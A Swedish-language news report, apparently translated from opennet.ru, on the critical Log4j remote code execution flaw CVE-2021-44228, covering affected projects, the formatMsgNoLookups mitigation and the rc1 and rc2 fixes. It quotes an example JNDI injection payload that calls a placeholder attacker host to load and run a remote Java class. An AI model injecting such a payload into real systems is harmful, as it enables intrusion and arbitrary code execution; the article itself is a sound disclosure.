En katastrofal sårbarhet i Apache Log4j som påverkar många Java-projekt.

I Apache Log4j, ett populärt ramverk för loggning i Java-applikationer, har en kritisk sårbarhet identifierats som möjliggör exekvering av godtycklig kod när en speciellt formaterad sträng i formatet "{jndi:URL}" loggas. Attacken kan utföras mot Java-applikationer som loggar värden från externa källor, till exempel vid utskrift av problematiska värden i felmeddelanden.

Det noteras att nästan alla projekt som använder ramverk såsom Apache Struts, Apache Solr, Apache Druid eller Apache Flink är sårbara, inklusive Steam, Apple iCloud, klienter och servrar för spelet Minecraft. Sårbarheten förväntas leda till en våg av massattacker mot företagsapplikationer, likt historien om kritiska sårbarheter i Apache Struts, som uppskattas användas i webbapplikationer av 65% av Fortune 100-företagen. Det har redan registrerats försök att skanna nätverket efter sårbara system.

Problemet förvärras av att en fungerande exploit redan har publicerats, men det finns för närvarande inga fixar för stabila versioner. CVE-identifieraren har ännu inte tilldelats. Fixen ingår endast i den testversion av log4j-2.15.0-rc1. Som en tillfällig lösning för att blockera sårbarheten rekommenderas att ställa in parametern log4j2.formatMsgNoLookups till true.

Problemet orsakades av att log4j stöder hantering av speciella maskar "{}" i loggade strängar, där JNDI-förfrågningar (Java Naming and Directory Interface) kan utföras. Attacken går ut på att överföra en sträng med substitutionen "${jndi:ldap://attacker.com/a}", varvid log4j kommer att skicka en server attacker.com LDAP-förfrågan för sökvägen till Java-klassen. Den returnerade servern sökvägen (till exempel http://second-stage.attacker.com/Exploit.class) kommer att laddas ner och köras i kontexten av den aktuella processen, vilket gör det möjligt för angriparen att få exekvera godtycklig kod i systemet med rättigheter från den aktuella applikationen.

Tillägg 1: Sårbarheten har tilldelats identifieraren CVE-2021-44228.

Tillägg 2: En metod för att kringgå skyddet som lades till i releasen log4j-2.15.0-rc1 har upptäckts. En ny uppdatering log4j-2.15.0-rc2 har föreslagits med ett mer komplett skydd mot sårbarheten. I koden framhävs ändringen som rör avsaknaden av kraschar vid användning av ett felaktigt formatterat JNDI-URL.

Källa: opennet.ru